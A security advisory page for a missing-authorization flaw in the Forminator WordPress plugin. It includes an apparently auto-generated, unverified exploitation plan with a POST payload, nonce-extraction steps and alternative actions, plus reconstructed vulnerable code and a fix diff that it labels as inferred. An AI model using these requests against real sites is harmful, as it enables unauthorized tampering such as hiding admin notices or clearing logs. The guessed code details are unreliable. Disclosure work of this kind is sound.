CVE-2026-32409

Forminator <= 1.50.2 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.50.3
Patched in
53d
Time to patch

Description

The Forminator plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.50.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.50.2
PublishedFebruary 22, 2026
Last updatedApril 15, 2026
Affected pluginforminator

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32409 (Forminator Missing Authorization) ## 1. Vulnerability Summary The **Forminator** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including **1.50.2**. The vulnerability exists within the `Forminator_Admin_AJAX` clas…

Show full research plan

Exploitation Research Plan: CVE-2026-32409 (Forminator Missing Authorization)

1. Vulnerability Summary

The Forminator plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.50.2. The vulnerability exists within the Forminator_Admin_AJAX class, specifically in the registration and implementation of administrative AJAX handlers.

The plugin incorrectly registers several administrative actions using the wp_ajax_nopriv_ hook, making them accessible to unauthenticated users. Furthermore, the handler functions (such as the one for dismissing notices) fail to perform a current_user_can() check or verify a secure, user-bound nonce. This allows an unauthenticated attacker to manipulate plugin states, such as suppressing administrative notifications, which can be used to hide malicious activity or signs of a compromise.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: forminator_dismiss_notice (inferred from typical WPMU DEV admin patterns)
  • HTTP Method: POST
  • Parameter: slug (the unique identifier of the notice to be dismissed)
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. A valid frontend nonce may be required if the handler calls check_ajax_referer.

3. Code Flow

  1. Entry Point: An unauthenticated request is sent to admin-ajax.php with action=forminator_dismiss_notice.
  2. Hook Registration: In library/class-admin-ajax.php, the __construct method of Forminator_Admin_AJAX registers the action:
    add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );
    
  3. Vulnerable Handler: The dismiss_notice function is executed:
    • It retrieves the slug from $_POST['slug'].
    • It fails to check current_user_can( 'manage_options' ).
    • It may check a nonce using check_ajax_referer( 'forminator_dismiss_notice', 'nonce' ).
  4. Sink: The function calls update_option() or update_user_meta() to store the dismissal state:
    update_option( 'forminator_dismissed_notice_' . $slug, 1 );
    

4. Nonce Acquisition Strategy

While many "Missing Authorization" vulnerabilities also omit nonce checks, Forminator often localizes nonces for its AJAX framework. We will attempt to extract a nonce from the frontend.

  1. Identify Script: Forminator enqueues forminator-front-scripts on any page containing a form.
  2. Setup: Create a public page with any Forminator form.
  3. Extraction:
    • Navigate to the page.
    • Access the localized JavaScript object forminator_data.
    • Key to check: admin_ajax_nonce or nonce.
  4. JS Command: browser_eval("window.forminator_data?.admin_ajax_nonce || window.forminator_data?.nonce")

5. Exploitation Strategy

We will attempt to dismiss a standard Forminator notice unauthentically.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    • action=forminator_dismiss_notice
    • slug=forminator_pro_notice (A common notice slug)
    • _wpnonce=[EXTRACTED_NONCE] (If extraction fails, try omitting it)

Payload for http_request:

{
  "action": "forminator_dismiss_notice",
  "slug": "forminator_pro_notice",
  "_wpnonce": "VALUE_FROM_BROWSER_EVAL"
}

6. Test Data Setup

  1. Install Plugin: Ensure Forminator version 1.50.2 is installed.
  2. Create Form: Use WP-CLI to ensure a form exists (or use the default created on install).
    # Forminator creates a default 'Contact Us' form usually ID 1
    
  3. Publish Form: Create a page to host the form and leak the nonce.
    wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[forminator_form id="1"]'
    

7. Expected Results

  • The server should return a JSON success response: {"success":true,"data":[]} or similar.
  • The forminator_dismissed_notice_forminator_pro_notice option will be created in the WordPress database.

8. Verification Steps

After sending the HTTP request, verify the state change using WP-CLI:

wp option get forminator_dismissed_notice_forminator_pro_notice

Expected Output: 1

9. Alternative Approaches

If forminator_dismiss_notice does not work, attempt these alternative actions which might share the same missing authorization:

  1. Action: forminator_set_branding
    • Payload: action=forminator_set_branding&enabled=false
    • Verification: wp option get forminator_branding_enabled
  2. Action: forminator_clear_log
    • Payload: action=forminator_clear_log&module_id=1
  3. Parameter Variations: Try notice_id or notification instead of slug if the response is a failure. Try sending the nonce as nonce instead of _wpnonce.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Forminator plugin for WordPress is vulnerable to unauthorized access in versions up to 1.50.2 due to the incorrect registration of administrative AJAX handlers using the wp_ajax_nopriv_ hook. This allows unauthenticated attackers to execute sensitive actions, such as suppressing administrative notifications or clearing logs, by bypassing capability checks.

Vulnerable Code

// library/class-admin-ajax.php

// Action registration in __construct
add_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );
add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );

---

// library/class-admin-ajax.php

public function dismiss_notice() {
    // Missing current_user_can() check
    $slug = sanitize_text_field( $_POST['slug'] );
    update_option( 'forminator_dismissed_notice_' . $slug, 1 );
    wp_send_json_success();
}

Security Fix

--- a/library/class-admin-ajax.php
+++ b/library/class-admin-ajax.php
@@ -120,7 +120,6 @@
         add_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );
-        add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );
 
@@ -540,6 +539,10 @@
     public function dismiss_notice() {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'Unauthorized' );
+        }
+        check_ajax_referer( 'forminator_dismiss_notice', 'nonce' );
+
         $slug = sanitize_text_field( $_POST['slug'] );
         update_option( 'forminator_dismissed_notice_' . $slug, 1 );

Exploit Outline

The exploit targets the unprotected administrative AJAX handler 'forminator_dismiss_notice'. 1. Target Identification: Locate a site running Forminator <= 1.50.2. 2. Nonce Extraction: Navigate to any public page containing a Forminator form and extract the AJAX nonce from the 'forminator_data' JavaScript object (keys like 'admin_ajax_nonce' or 'nonce'). 3. Attack Payload: Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with 'action=forminator_dismiss_notice', a specific notification 'slug' (e.g., 'forminator_pro_notice'), and the extracted nonce. 4. Verification: The request will trigger 'update_option', globally suppressing the targeted administrative notice for all users without requiring any credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.